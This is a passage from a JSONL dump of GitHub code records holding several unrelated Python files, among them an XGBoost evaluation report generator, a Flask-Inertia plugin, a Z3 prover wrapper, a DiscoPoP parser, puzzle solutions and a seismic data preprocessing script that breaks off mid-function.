\")\n combined_report.write(\"\")\n\n\ndef write_section(combined_report: TextIO, title: str, experiment_dir: str, prefix: str, target_col: str) -> None:\n \"\"\"\n Write a section in the combined report.\n\n Args:\n combined_report (TextIO): The file object for the combined report.\n title (str): The title of the section.\n experiment_dir (str): The directory for the experiment.\n prefix (str): The prefix of the directory to use (should be something like \"val\" or \"test\").\n target_col (str): The target column name.\n\n Returns:\n None\n \"\"\"\n combined_report.write(f\"\")\n combined_report.write(f\"{title}\")\n combined_report.write(\"
\")\n combined_report.write(\"\")\n\n\ndef get_css_style() -> str:\n \"\"\"\n Get the CSS style for the combined report.\n\n Returns:\n str: The CSS style for the combined report.\n \"\"\"\n return \"\"\"\n body {\n font-family: Arial, sans-serif;\n padding: 20px;\n }\n\n .section {\n border: 2px solid #ddd;\n padding: 10px;\n margin-bottom: 20px;\n background-color: #f9f9f9;\n }\n\n .section h2 {\n text-align: center;\n font-size: 24px;\n margin-bottom: 10px;\n }\n\n details {\n margin-bottom: 20px;\n }\n\n details summary {\n cursor: pointer;\n outline: none;\n font-size: 20px;\n }\n\n details summary::-webkit-details-marker {\n display: none;\n }\n\n details p {\n margin: 10px 0;\n }\n \"\"\"\n\n\ndef calculate_metrics(y_true: pd.Series, y_score: pd.Series) -> Dict[str, Optional[float]]:\n \"\"\"\n Calculate various evaluation metrics.\n\n Args:\n y_true (pd.Series): True labels.\n y_score (pd.Series): Predicted scores.\n\n Returns:\n Dict[str, float]: Dictionary containing calculated metrics.\n \"\"\"\n metrics = {}\n try:\n metrics['logloss'] = log_loss(y_true, y_score)\n except Exception as e:\n logger.error(f\"Failed to calculate log loss: {e}\")\n metrics['logloss'] = None\n\n try:\n metrics['auc'] = roc_auc_score(y_true, y_score)\n except Exception as e:\n logger.error(f\"Failed to calculate AUC: {e}\")\n metrics['auc'] = None\n\n try:\n metrics['auprc'] = average_precision_score(y_true, y_score)\n except Exception as e:\n logger.error(f\"Failed to calculate AUPRC: {e}\")\n metrics['auprc'] = None\n\n return metrics\n\n\ndef generate_roc_curve(experiment_dir: str, fpr: List[float], tpr: List[float]) -> str:\n \"\"\"\n Generate and save the ROC curve plot.\n\n Args:\n experiment_dir (str): Directory for the experiment.\n fpr (List[float]): List of false positive rates.\n tpr (List[float]): List of true positive rates.\n roc_plot_path (str): File path to save the ROC curve plot.\n\n Returns:\n None\n \"\"\"\n roc_plot_path = os.path.join(experiment_dir, \"roc_curve.png\")\n plt.figure()\n plt.plot(fpr, tpr, label='ROC Curve')\n plt.xlabel('False Positive Rate')\n plt.ylabel('True Positive Rate')\n plt.title('Receiver Operating Characteristic (ROC) Curve')\n plt.legend(loc='lower right')\n plt.savefig(roc_plot_path)\n return roc_plot_path\n\n\ndef generate_histogram(data: pd.Series,\n experiment_dir: str,\n file_name: str,\n label: str,\n color: str,\n title: str,\n log_scale: bool = False) -> None:\n \"\"\"\n Generate and save a histogram plot.\n\n Args:\n data (pd.Series): Data for the histogram.\n experiment_dir (str): Directory for the experiment.\n file_name (str): File name for the saved histogram.\n label (str): Label for the histogram.\n color (str): Color for the histogram.\n title (str): Title of the histogram plot.\n log_scale (bool): Flag to indicate if the y-axis should be in log scale.\n\n Returns:\n None\n \"\"\"\n plt.figure()\n plt.hist(data, bins=50, alpha=0.7, color=color, label=label)\n plt.xlabel('Scores')\n plt.ylabel('Frequency')\n plt.yscale('log' if log_scale else 'linear')\n plt.title(title)\n plt.legend(loc='upper right')\n plt.savefig(os.path.join(experiment_dir, file_name))\n\n\ndef plot_target_distribution(target_counts: pd.Series, experiment_dir: str) -> str:\n \"\"\"\n Plot and save the distribution of the 'target_col' column.\n\n Args:\n target_counts (pd.Series): Series containing the count of modalities in target column.\n experiment_dir (str): Directory for the experiment.\n\n Returns:\n str: Path to the saved plot.\n \"\"\"\n counts_dict = target_counts.to_dict()\n if len(counts_dict) == 1:\n if True in counts_dict:\n counts_dict[False] = 0\n else:\n counts_dict[True] = 0\n\n sorted_counts = {k: counts_dict[k] for k in sorted(counts_dict)}\n labels = ['False', 'True']\n values = [sorted_counts[False], sorted_counts[True]]\n\n plt.figure()\n plt.bar(labels, values, color=['blue', 'red'])\n plt.yscale('log')\n plt.xlabel('target')\n plt.ylabel('Count (log scale)')\n plt.title('Distribution of target column')\n for i, value in enumerate(values):\n plt.text(i, value, str(value), ha='center', va='bottom', fontsize=12)\n plot_path = os.path.join(experiment_dir, \"target_counts.png\")\n plt.savefig(plot_path)\n return plot_path\n\n\ndef plot_histogram(data: pd.Series,\n experiment_dir: str,\n file_name: str,\n label: str,\n color: str,\n title: str,\n log_scale: bool = False) -> str:\n \"\"\"\n Plot and save a histogram.\n\n Args:\n data (pd.Series): Data to be plotted.\n experiment_dir (str): Directory for the experiment.\n file_name (str): Name of the saved file.\n label (str): Label for the histogram.\n color (str): Color for the histogram.\n title (str): Title for the plot.\n log_scale (bool): Whether to use logarithmic scale.\n\n Returns:\n str: Path to the saved plot.\n \"\"\"\n plt.figure()\n plt.hist(data, bins=50, alpha=0.7, color=color, label=label)\n if log_scale:\n plt.yscale('log')\n plt.xlabel('Scores')\n plt.ylabel('Frequency')\n plt.title(title)\n plt.legend(loc='upper right')\n plot_path = os.path.join(experiment_dir, file_name)\n plt.savefig(plot_path)\n return plot_path\n\n\ndef write_report(experiment_dir: str, prefix: str, combined_report: TextIO, target_col: str) -> None:\n \"\"\"\n Write the evaluation report.\n\n Args:\n experiment_dir (str): Report directory.\n prefix (str): Prefix of the directory to use (should be something like \"val\" or \"test\").\n combined_report (TextIO): File object for the combined report.\n target_col (str): The target column name.\n\n Returns:\n None\n \"\"\"\n if prefix == \"val\":\n section_description = \"Validation results for the model.\"\n elif prefix == \"test\":\n section_description = \"Test results for the model.\"\n else:\n section_description = \"Results for the model evaluation.\"\n\n combined_report.write(f\"
\")\n combined_report.write(\n f\"
{section_description} This section presents the metrics obtained during the evaluation.
\")\n\n\ndef model_evaluation_task(experiment_id: str,\n report_dir: str,\n prefix: str,\n target_col: str,\n predictions_data_path: str) -> str:\n \"\"\"\n Evaluates the model's performance using various metrics and generates a report.\n\n Args:\n experiment_id (str): Unique identifier for the experiment.\n report_dir (str): Directory path to store the evaluation report.\n prefix (str): Prefix for the output folder name.\n target_col (str): The target column name.\n predictions_data_path (str): Path to the parquet predictions.\n\n Returns:\n str: Path to the directory containing all necessary files for generating the report.\n \"\"\"\n logger.info(f\"Experiment ID: {experiment_id} - Starting [model_evaluation] task...\")\n\n predictions_data = pd.read_parquet(predictions_data_path)\n logger.info(f\"Loaded '{prefix}' data successfully, input shape: {predictions_data.shape}\")\n\n if predictions_data.empty:\n raise ValueError(\"The predictions_data DataFrame is empty.\")\n\n experiment_dir = os.path.join(report_dir, experiment_id, prefix)\n os.makedirs(experiment_dir, exist_ok=True)\n\n y_true = predictions_data[target_col]\n y_score = predictions_data['xgb.final_score']\n\n metrics = calculate_metrics(y_true=y_true, y_score=y_score)\n\n fpr, tpr, _ = roc_curve(y_true=y_true, y_score=y_score)\n generate_roc_curve(experiment_dir=experiment_dir, fpr=fpr, tpr=tpr)\n\n target_counts = predictions_data[target_col].value_counts()\n plot_target_distribution(target_counts=target_counts, experiment_dir=experiment_dir)\n\n positive = predictions_data.loc[predictions_data[target_col], 'xgb.final_score']\n negative = predictions_data.loc[~predictions_data[target_col], 'xgb.final_score']\n\n plot_histogram(data=positive,\n experiment_dir=experiment_dir,\n file_name=\"positive_distribution.png\",\n label=\"Positive Class Scores\",\n color='red',\n title='Distribution of XGB Scores for Positive Class elements')\n plot_histogram(data=negative,\n experiment_dir=experiment_dir,\n file_name=\"negative_distribution.png\",\n label=\"Negative Class Scores\",\n color='blue',\n title='Distribution of XGB Scores for Negative Class elements')\n\n metrics_df = pd.DataFrame([metrics])\n metrics_df.to_parquet(os.path.join(experiment_dir, 'metrics.parquet'), index=False)\n\n logger.info(f\"Evaluation completed, saved evaluation metrics in {experiment_dir}\")\n logger.info(f\"Experiment ID: {experiment_id} - [model_evaluation] task done.\")\n return experiment_dir\n","repo_name":"nielsborie/xgb-batch-training","sub_path":"src/modeling/evaluation/model_evaluation_task.py","file_name":"model_evaluation_task.py","file_ext":"py","file_size_in_byte":16627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"32119172191","text":"from robot.serial_com import *\nimport time\n\npi_serial = Serial_com()\n\nsend_daemon = Serial_send_daemon(pi_serial, {'Raspberry': 'Hello!'})\nread_daemon = Serial_read_daemon(pi_serial)\n\nwhile True:\n print(read_daemon.msg)\n time.sleep(1)\n","repo_name":"achurichi/robot","sub_path":"tests_raspberry/test_serial_com.py","file_name":"test_serial_com.py","file_ext":"py","file_size_in_byte":241,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"35962001366","text":"from dataclasses import dataclass\nimport re\nimport os\nfrom typing import Any, List, Tuple\nimport warnings\nfrom collections import defaultdict\nfrom os.path import abspath, dirname\n\nfrom lxml import objectify # type:ignore\n\n# Map to record which line belongs to read set of nodes. LID -> NodeIds\nreadlineToCUIdMap = defaultdict(set) # type: ignore\n# Map to record which line belongs to write set of nodes. LID -> NodeIds\nwritelineToCUIdMap = defaultdict(set) # type: ignore\n# Map to record which line belongs to set of nodes. LID -> NodeIds\nlineToCUIdMap = defaultdict(set) # type: ignore\n\n\n@dataclass\nclass DependenceItem(object):\n sink: Any\n source: Any\n type: Any\n var_name: Any\n memory_region: Any\n # TODO improve typing\n\n\n# TODO move this class to a better place, we need it not only for parsing\n@dataclass\nclass LoopData(object):\n line_id: str # file_id:line_nr\n total_iteration_count: int\n entry_count: int\n average_iteration_count: int\n maximum_iteration_count: int\n\n\ndef __parse_xml_input(xml_fd):\n xml_content = \"\"\n for line in xml_fd.readlines():\n if not (line.rstrip().endswith(\"\") or line.rstrip().endswith(\"\")):\n xml_content = xml_content + line\n\n xml_content = \"{0}\".format(xml_content)\n\n parsed_cu = objectify.fromstring(xml_content)\n cu_dict = dict()\n for node in parsed_cu.Node:\n node.childrenNodes = str(node.childrenNodes).split(\",\") if node.childrenNodes else []\n if node.get(\"type\") == \"0\":\n for instruction_id in str(node.writePhaseLines).split(\",\"):\n writelineToCUIdMap[instruction_id].add(node.get(\"id\"))\n for instruction_id in str(node.readPhaseLines).split(\",\"):\n readlineToCUIdMap[instruction_id].add(node.get(\"id\"))\n\n if node.get(\"id\") in cu_dict:\n # entry exists already! merge the two entries\n pass\n else:\n cu_dict[node.get(\"id\")] = node\n\n return cu_dict\n\n\ndef __map_dummy_nodes(cu_dict):\n dummy_node_args_to_id_map = defaultdict(list)\n func_node_args_to_id_map = dict()\n dummy_to_func_ids_map = dict()\n for node_id, node in cu_dict.items():\n if node.get(\"type\") == \"3\" or node.get(\"type\") == \"1\":\n key = node.get(\"name\")\n if \"arg\" in dir(node.funcArguments):\n for i in node.funcArguments.arg:\n key = key + i.get(\"type\")\n if node.get(\"type\") == \"3\":\n dummy_node_args_to_id_map[key].append(node_id)\n else:\n func_node_args_to_id_map[key] = node_id\n\n # iterate over all real functions\n for func in func_node_args_to_id_map:\n if func in dummy_node_args_to_id_map:\n for dummyID in dummy_node_args_to_id_map[func]:\n dummy_to_func_ids_map[dummyID] = func_node_args_to_id_map[func]\n cu_dict.pop(dummyID)\n\n # now go through all the nodes and update the mapped dummies to real funcs\n for node_id, node in cu_dict.items():\n # check dummy in all the children nodes\n if \"childrenNodes\" in dir(node):\n for child_idx, child in enumerate(node.childrenNodes):\n if child in dummy_to_func_ids_map:\n cu_dict[node_id].childrenNodes[child_idx] = dummy_to_func_ids_map[child]\n\n # Also do the same in callLineToFunctionMap\n if \"callsNode\" in dir(node):\n for idx, i in enumerate(node.callsNode.nodeCalled):\n if i in dummy_to_func_ids_map:\n cu_dict[node_id].callsNode.nodeCalled[idx] = dummy_to_func_ids_map[i]\n return cu_dict\n\n\ndef __parse_dep_file(dep_fd, output_path: str) -> Tuple[List[DependenceItem], List[LoopData]]:\n dependencies_list: List[DependenceItem] = []\n loop_data_list: List[LoopData] = []\n # read static dependencies\n static_dependency_lines = []\n if not os.path.exists(os.path.join(output_path, \"static_dependencies.txt\")):\n warnings.warn(\n \"Static dependencies could not be found under: \"\n + os.path.join(output_path, \"static_dependencies.txt\")\n )\n # todo\n warnings.warn(\n \"TODO: Add command line parameter to pass a location for the static dependency file, \"\n \"or combine static and dynamic dependencies from the beginning.\"\n )\n else:\n with open(os.path.join(output_path, \"static_dependencies.txt\"), \"r\") as static_dep_fd:\n static_dependency_lines = static_dep_fd.readlines()\n\n for line in dep_fd.readlines() + static_dependency_lines:\n dep_fields = line.split()\n if dep_fields[1] == \"BGN\" and dep_fields[2] == \"loop\":\n line_id = dep_fields[0]\n total_iteration_count = int(dep_fields[3])\n entry_count = int(dep_fields[4])\n average_iteration_count = int(dep_fields[5])\n maximum_iteration_count = int(dep_fields[6])\n loop_data_list.append(\n LoopData(\n line_id,\n total_iteration_count,\n entry_count,\n average_iteration_count,\n maximum_iteration_count,\n )\n )\n if len(dep_fields) < 4 or dep_fields[1] != \"NOM\":\n continue\n sink = dep_fields[0]\n # pairwise iteration over dependencies source\n for dep_pair in list(zip(dep_fields[2:], dep_fields[3:]))[::2]:\n type = dep_pair[0]\n source_fields = dep_pair[1].split(\"|\")\n var_str = \"\" if len(source_fields) == 1 else source_fields[1]\n var_name = \"\"\n aa_var_name = \"\"\n if len(var_str) > 0:\n if \"(\" in var_str:\n split_var_str = var_str.split(\"(\")\n var_name = split_var_str[0]\n aa_var_name = split_var_str[1][\n :-1\n ] # name of the allocated variable which is accessed, i.e. variable name after anti aliasing\n else:\n # compatibility with results created without alias analysis\n var_name = var_str\n dependencies_list.append(\n DependenceItem(sink, source_fields[0], type, var_name, aa_var_name)\n )\n\n return dependencies_list, loop_data_list\n\n\ndef parse_inputs(cu_file, dependencies, reduction_file, file_mapping):\n with open(cu_file) as f:\n cu_dict = __parse_xml_input(f)\n cu_dict = __map_dummy_nodes(cu_dict)\n\n with open(dependencies) as f:\n dependencies, loop_info = __parse_dep_file(f, dirname(abspath(cu_file)))\n\n loop_data = {loop.line_id: loop for loop in loop_info}\n\n fmap_file = open(file_mapping)\n fmap_lines = fmap_file.read().splitlines()\n fmap_file.close()\n\n if os.path.exists(reduction_file):\n reduction_vars = []\n\n # parse reduction variables\n with open(reduction_file) as f:\n content = f.readlines()\n for line in content:\n if is_reduction(line, fmap_lines, file_mapping):\n line = line.replace(\"\\n\", \"\")\n s = line.split(\" \")\n var = {\n \"loop_line\": f\"{s[3]}:{s[8]}\",\n \"name\": s[17],\n \"reduction_line\": f\"{s[3]}:{s[13]}\",\n \"operation\": s[21],\n }\n reduction_vars.append(var)\n else:\n reduction_vars = None\n\n return cu_dict, dependencies, loop_data, reduction_vars\n\n\ndef is_reduction(reduction_line, fmap_lines, file_mapping):\n rex = re.compile(\n \"FileID : ([0-9]*) Loop Line Number : [0-9]* Reduction Line Number : ([0-9]*) \"\n )\n if not rex:\n return False\n res = rex.search(reduction_line)\n file_id = int(res.group(1))\n file_line = int(res.group(2))\n\n filepath = get_filepath(file_id, fmap_lines, file_mapping)\n src_file = open(filepath)\n src_lines = src_file.read().splitlines()\n src_file.close()\n\n return possible_reduction(file_line, src_lines)\n\n\ndef possible_reduction(line, src_lines):\n assert line > 0 and line <= len(src_lines), \"invalid src line\"\n src_line = src_lines[line - 1]\n while not \";\" in src_line:\n line = line + 1\n if line > len(src_lines):\n return False\n src_line = src_line + \" \" + src_lines[line - 1]\n\n pos = src_line.find(\"=\")\n if pos == -1:\n return True\n\n bracket_a = src_line[0:pos].find(\"[\")\n if bracket_a == -1:\n return True\n bracket_b = src_line[0:pos].rfind(\"]\")\n assert bracket_b != -1\n\n rex_search_res = re.search(\"([A-Za-z0-9_]+)\\[\", src_line[0 : (bracket_a + 1)])\n if not rex_search_res:\n return True\n\n array_name = rex_search_res[1]\n array_index = src_line[(bracket_a + 1) : bracket_b]\n\n array_indices = find_array_indices(array_name, src_line[pos : len(src_line)])\n for index in array_indices:\n if index == array_index:\n return False\n\n return True\n\n\ndef get_filepath(file_id, fmap_lines, file_mapping):\n assert file_id > 0 and file_id <= len(fmap_lines), \"invalid file id\"\n line = fmap_lines[file_id - 1]\n tokens = line.split(sep=\"\\t\")\n if tokens[1].startswith(\"..\"):\n return os.path.dirname(file_mapping) + \"/\" + tokens[1]\n else:\n return tokens[1]\n\n\ndef get_enclosed_str(data):\n num_open_brackets = 1\n for i in range(0, len(data)):\n if data[i] == \"[\":\n num_open_brackets = num_open_brackets + 1\n elif data[i] == \"]\":\n num_open_brackets = num_open_brackets - 1\n if num_open_brackets == 0:\n return data[0:i]\n\n\ndef find_array_indices(array_name, src_line):\n indices = []\n uses = list(re.finditer(array_name, src_line))\n for use in uses:\n if src_line[use.end()] == \"[\":\n indices.append(get_enclosed_str(src_line[(use.end() + 1) : len(src_line)]))\n else:\n indices.append(\"\")\n\n return indices\n","repo_name":"discopop-project/discopop","sub_path":"discopop_explorer/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":10048,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"72"}
+{"seq_id":"21785843759","text":"# Author: Bohua Zhan\n\nimport importlib\n\nif importlib.util.find_spec(\"z3\"):\n import z3\n z3_loaded = True\nelse:\n z3_loaded = False\n\nfrom kernel.type import TFun\nfrom kernel.term import Term, Var, boolT\nfrom kernel.thm import Thm\nfrom kernel.macro import ProofMacro, global_macros\nfrom logic import logic\nfrom logic import nat\nfrom syntax import printer\n\n\ndef convert(t):\n \"\"\"Convert term t to Z3 input.\"\"\"\n if t.is_var():\n T = t.get_type()\n if T == nat.natT:\n return z3.Int(t.name)\n elif T == TFun(nat.natT, nat.natT):\n return z3.Function(t.name, z3.IntSort(), z3.IntSort())\n elif T == TFun(nat.natT, boolT):\n return z3.Function(t.name, z3.IntSort(), z3.BoolSort())\n elif T == boolT:\n return z3.Bool(t.name)\n else:\n print(\"convert: unsupported type \" + repr(T))\n raise NotImplementedError\n elif t.is_all():\n if t.arg.var_T == nat.natT:\n v = Var(t.arg.var_name, nat.natT)\n z3_v = z3.Int(t.arg.var_name)\n return z3.ForAll([z3_v], convert(t.arg.subst_bound(v)))\n else:\n raise NotImplementedError\n elif t.is_implies():\n return z3.Implies(convert(t.arg1), convert(t.arg))\n elif t.is_equals():\n return convert(t.arg1) == convert(t.arg)\n elif logic.is_conj(t):\n return z3.And(convert(t.arg1), convert(t.arg))\n elif logic.is_disj(t):\n return z3.Or(convert(t.arg1), convert(t.arg))\n elif logic.is_neg(t):\n return z3.Not(convert(t.arg))\n elif nat.is_plus(t):\n return convert(t.arg1) + convert(t.arg)\n elif nat.is_times(t):\n return convert(t.arg1) * convert(t.arg)\n elif nat.is_binary(t):\n return nat.from_binary(t)\n elif t.is_comb():\n return convert(t.fun)(convert(t.arg))\n elif t.is_const():\n if t == logic.true:\n return z3.BoolVal(True)\n elif t == logic.false:\n return z3.BoolVal(False)\n else:\n print(\"convert: unsupported constant \" + repr(t))\n raise NotImplementedError\n else:\n print(\"convert: unsupported operation \" + repr(t))\n raise NotImplementedError\n\ndef solve(t):\n \"\"\"Solve the given goal using Z3.\"\"\"\n s = z3.Solver()\n\n # First strip foralls from t.\n while Term.is_all(t):\n t = t.arg.subst_bound(Var(t.arg.var_name, t.arg.var_T))\n s.add(z3.Not(convert(t)))\n return str(s.check()) == 'unsat'\n\nclass Z3Macro(ProofMacro):\n \"\"\"Macro invoking SMT solver Z3.\"\"\"\n def __init__(self):\n self.level = 0 # No expand implemented for Z3.\n self.sig = Term\n\n def eval(self, thy, args, prevs):\n if z3_loaded:\n assert solve(args), \"Z3: not solved.\"\n else:\n print(\"Warning: Z3 is not installed\")\n\n return Thm([], args)\n\n def expand(self, prefix, thy, args, prevs):\n raise NotImplementedError\n\n\nglobal_macros.update({\n \"z3\": Z3Macro(),\n})\n","repo_name":"zhouwenfan/temp","sub_path":"prover/z3wrapper.py","file_name":"z3wrapper.py","file_ext":"py","file_size_in_byte":2984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"38217754579","text":"import os\nfrom typing import Any, Optional\n\nfrom flask import Flask, Response, current_app, request\nfrom jinja2 import Template\nfrom jsmin import jsmin\nfrom markupsafe import Markup\nfrom werkzeug.exceptions import BadRequest\n\nfrom flask_inertia.version import get_asset_version\n\n\nclass Inertia:\n \"\"\"Inertia Plugin for Flask.\"\"\"\n\n def __init__(self, app: Optional[Flask] = None):\n if app is not None:\n self.init_app(app)\n\n def init_app(self, app: Flask):\n \"\"\"Init as an app extension\n\n * Register before_request hook\n * Register after_request hook\n * Set context processor to have an `inertia` value in templates\n \"\"\"\n self._shared_data = {}\n if not hasattr(app, \"extensions\"):\n app.extensions = {}\n app.extensions[\"inertia\"] = self\n app.context_processor(self.context_processor)\n app.before_request(self.process_incoming_inertia_requests)\n app.after_request(self.update_redirect)\n\n def process_incoming_inertia_requests(self) -> Optional[Response]:\n \"\"\"Process incoming Inertia requests.\n\n AJAX requests must be forged by Inertia.\n\n Whenever an Inertia request is made, Inertia will include the current asset\n version in the X-Inertia-Version header. If the asset versions are the same,\n the request simply continues as expected. However, if they are different,\n the server immediately returns a 409 Conflict response (only for GET request),\n and includes the URL in a X-Inertia-Location header.\n \"\"\"\n # request is ajax\n if request.headers.get(\"X-Requested-With\") != \"XMLHttpRequest\":\n return None\n\n # check if send with Inertia\n if not request.headers.get(\"X-Inertia\"):\n raise BadRequest(\"Inertia headers not found\")\n\n # check inertia version\n server_version = get_asset_version()\n inertia_version = request.headers.get(\"X-Inertia-Version\")\n if (\n request.method == \"GET\"\n and inertia_version\n and inertia_version != server_version\n ):\n response = Response(\"Inertia versions does not match\", status=409)\n response.headers[\"X-Inertia-Location\"] = request.full_path\n return response\n\n return None\n\n def update_redirect(self, response: Response) -> Response:\n \"\"\"Update redirect to set 303 status code.\n\n 409 conflict responses are only sent for GET requests, and not for\n POST/PUT/PATCH/DELETE requests. That said, they will be sent in the\n event that a GET redirect occurs after one of these requests. To force\n Inertia to use a GET request after a redirect, the 303 HTTP status is used\n\n :param response: The generated response to update\n \"\"\"\n if (\n request.method in [\"PUT\", \"PATCH\", \"DELETE\"]\n and response.status_code == 302\n ):\n response.status_code = 303\n\n return response\n\n def share(self, key: str, value: Any):\n \"\"\"Preassign shared data for each request.\n\n Sometimes you need to access certain data on numerous pages within your\n application. For example, a common use-case for this is showing the\n current user in the site header. Passing this data manually in each\n response isn't practical. In these situations shared data can be useful.\n\n :param key: Data key to share between requests\n :param value: Data value or Function returning the data value\n \"\"\"\n self._shared_data[key] = value\n\n @staticmethod\n def context_processor():\n \"\"\"Add an `inertia` directive to Jinja2 template to allow router inclusion\n\n .. code-block:: html\n\n \n \n \n \"\"\"\n return {\n \"inertia\": current_app.extensions[\"inertia\"],\n }\n\n def include_router(self) -> Markup:\n \"\"\"Include JS router in Templates.\"\"\"\n router_file = os.path.join(\n os.path.abspath(os.path.dirname(__file__)), \"router.js\"\n )\n routes = {\n rule.endpoint: rule.rule for rule in current_app.url_map.iter_rules()\n }\n with open(router_file, \"r\") as jsfile:\n template = Template(jsfile.read())\n # Jinja2 template automatically get rid of ['<'|'>'] chars\n content = (\n template.render(routes=routes)\n .replace(\"\\\\u003c\", \"<\")\n .replace(\"\\\\u003e\", \">\")\n )\n content_minified = jsmin(content)\n\n return Markup(content_minified)\n","repo_name":"j0ack/flask-inertia","sub_path":"flask_inertia/inertia.py","file_name":"inertia.py","file_ext":"py","file_size_in_byte":4739,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"72"}
+{"seq_id":"305045123","text":"if __name__ == '__main__':\n N = int(input())\n result = []\n people = []\n\n for i in range(N):\n k = int(input())\n n = int(input())\n\n for j in range(1, k * n + n + 1):\n now = 0\n left = j - 1\n down = j - n\n\n if down > 0:\n now += people[down - 1]\n else:\n now += 1\n\n if j % n != 1 and n != 1:\n now += people[left - 1]\n\n people.append(now)\n result.append(people.pop())\n people.clear()\n\n print(*result, sep='\\n')\n","repo_name":"maroon1290/PS_JoonYeol","sub_path":"BaekJoon/Math/2775번 부녀회장이 될테야/부녀회장이 될테야.py","file_name":"부녀회장이 될테야.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"10152683204","text":"from socket import *\n\ns = socket(AF_INET, SOCK_STREAM)\ns.connect(('localhost', 5555))\n\nwhile True:\n msg = input('계산식을 입력하세요: ')\n if msg == 'q':\n break\n \n s.send(msg.encode()) #계산식 서버로 전송\n\n print('결과:', s.recv(1024).decode()) #결과 출력\n\ns.close()","repo_name":"0eun99/network_programming","sub_path":"HW5/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"15233969469","text":"def reader(inFile):\n N = inFile.getInt()\n return [inFile.getInts() for i in xrange(N)]\n\nfrom sys import stderr\nfrom fractions import Fraction\n\ndef cross(pts, a, b, c, d):\n a = pts[a]\n b = pts[b]\n c = pts[c]\n d = pts[d]\n \n d = [d[i] - a[i] for i in xrange(2)]\n c = [c[i] - a[i] for i in xrange(2)]\n b = [b[i] - a[i] for i in xrange(2)]\n a = [a[i] - a[i] for i in xrange(2)]\n \n d = [b[0] * d[0] + b[1] * d[1], b[1] * d[0] - b[0] * d[1]]\n c = [b[0] * c[0] + b[1] * c[1], b[1] * c[0] - b[0] * c[1]]\n b = [b[0] * b[0] + b[1] * b[1], b[1] * b[0] - b[0] * b[1]]\n \n if (c[1] == d[1]):\n if (c[1] == 0):\n if min(c[0], d[0]) > b[0]:\n return False\n if max(c[0], d[0]) < 0:\n return False\n return True\n return False\n \n if (c[1] * d[1] > 0):\n return False\n f = c[0] + Fraction((0 - c[1]) * (d[0] - c[0]), d[1] - c[1])\n return (0 <= f) and (f <= b[0])\n\ndef twiceArea(pts, seq):\n return abs(sum([pts[seq[i]][0] * pts[seq[i-1]][1] - pts[seq[i]][1] * pts[seq[i-1]][0] for i in xrange(len(seq))])) \n\ndef solver(pts):\n N = len(pts)\n routes = [[j,0,i] for i in xrange(1,N) for j in xrange(i+1,N)]\n for i in xrange(3,N):\n routes = [route + [k] for route in routes for k in xrange(1,N) if (k not in route) and (len([h for h in xrange(i-2) if cross(pts, route[h], route[h+1], route[-1], k)]) == 0)]\n routes = [route for route in routes if len([i for i in xrange(1, N - 2) if cross(pts, route[0], route[N - 1], route[i], route[i + 1])]) == 0]\n areas = [twiceArea(pts,route) for route in routes]\n mx = max(areas)\n return \" \".join([str(k) for k in routes[areas.index(mx)]])\n\nif __name__ == \"__main__\":\n from GCJ import GCJ\n GCJ(reader, solver, \"/Users/lpebody/gcj/2013_3/b/\", \"b\").run()\n\n# (0,2) (0,0) (1,1) (2,2) (2,0)\n\n","repo_name":"Kawser-nerd/CLCDSA","sub_path":"Source Codes/CodeJamData/13/52/0.py","file_name":"0.py","file_ext":"py","file_size_in_byte":1877,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"}
+{"seq_id":"41882771980","text":"\"\"\"DAS data processing.\"\"\"\n\nimport logging\nimport os\n\nimport h5py\nimport numpy as np\nfrom processing_utils import processing_utils as processing\n\nfrom preprocessing import parameters\n\n\nlogging.basicConfig(level=logging.INFO)\n\n\ndef _process(data, low_freq, high_freq, dt, q):\n data = processing.bandpass(data, low_freq, high_freq, dt)\n data = processing.decimate(data, q)\n return data\n\n\ndef _crop(data, raw_window, detect_window, event_duration, dt):\n sps = 1 // dt\n start_sample = int((raw_window / 2 - (detect_window - event_duration)) * sps)\n end_sample = int((raw_window / 2 + detect_window) * sps)\n return data[:, start_sample:end_sample]\n\n\ndef _get_label(filename):\n basename = os.path.basename(filename)\n if 'noise' in basename:\n return np.zeros((1,), dtype=np.float32)\n if 'event' in basename:\n return np.ones((1,), dtype=np.float32)\n\n\ndef write_hdf5(out_file, data, label=None):\n with h5py.File(out_file, 'w') as f:\n f.create_dataset('input', data=data)\n if label is not None:\n f.create_dataset('label', data=label)\n\n\ndef read_hdf5(filename):\n channels = []\n n_samples = 8640000\n keys = ['JRSC.HNE', 'JRSC.HNN', 'JRSC.HNZ',\n 'JSFB.HNE', 'JSFB.HNN', 'JSFB.HNZ']\n with h5py.File(filename, 'r') as f:\n for key in keys:\n channel = np.zeros((n_samples,), dtype=np.float32)\n if key in f.keys():\n tmp = _process(\n f.get(key)[()], parameters.low_freq, parameters.high_freq,\n parameters.seismometer_dt,\n parameters.seismometer_downsampling_factor)\n channel[:tmp.shape[0]] = tmp\n channels.append(channel)\n return np.stack(channels, axis=0)\n return None\n\n\ndef process_windows(file_pattern, in_dir, out_dir, raw_window, detect_window,\n event_duration, low_freq, high_freq, dt, q\n ):\n filenames = processing.get_filenames(file_pattern)\n\n for i, filename in enumerate(filenames):\n if i % 1000 == 0:\n logging.info('Processed %s files.', i)\n data = read_hdf5(filename)\n if data is not None:\n data = _process(data, low_freq, high_freq, dt, q)\n data = _crop(data, raw_window, detect_window, event_duration, dt * q)\n label = _get_label(filename)\n out_file = filename.replace(in_dir, out_dir)\n os.makedirs(os.path.dirname(out_file), exist_ok=True)\n out_file = out_file.replace('.hdf5', '.h5')\n write_hdf5(out_file, data, label)\n\n\ndef process_continuous(file_pattern, in_dir, out_dir, raw_window, low_freq,\n high_freq, dt, q):\n filenames = processing.get_filenames(file_pattern)\n\n for i, filename in enumerate(filenames):\n if i % 1000 == 0:\n logging.info('Processed %s files.', 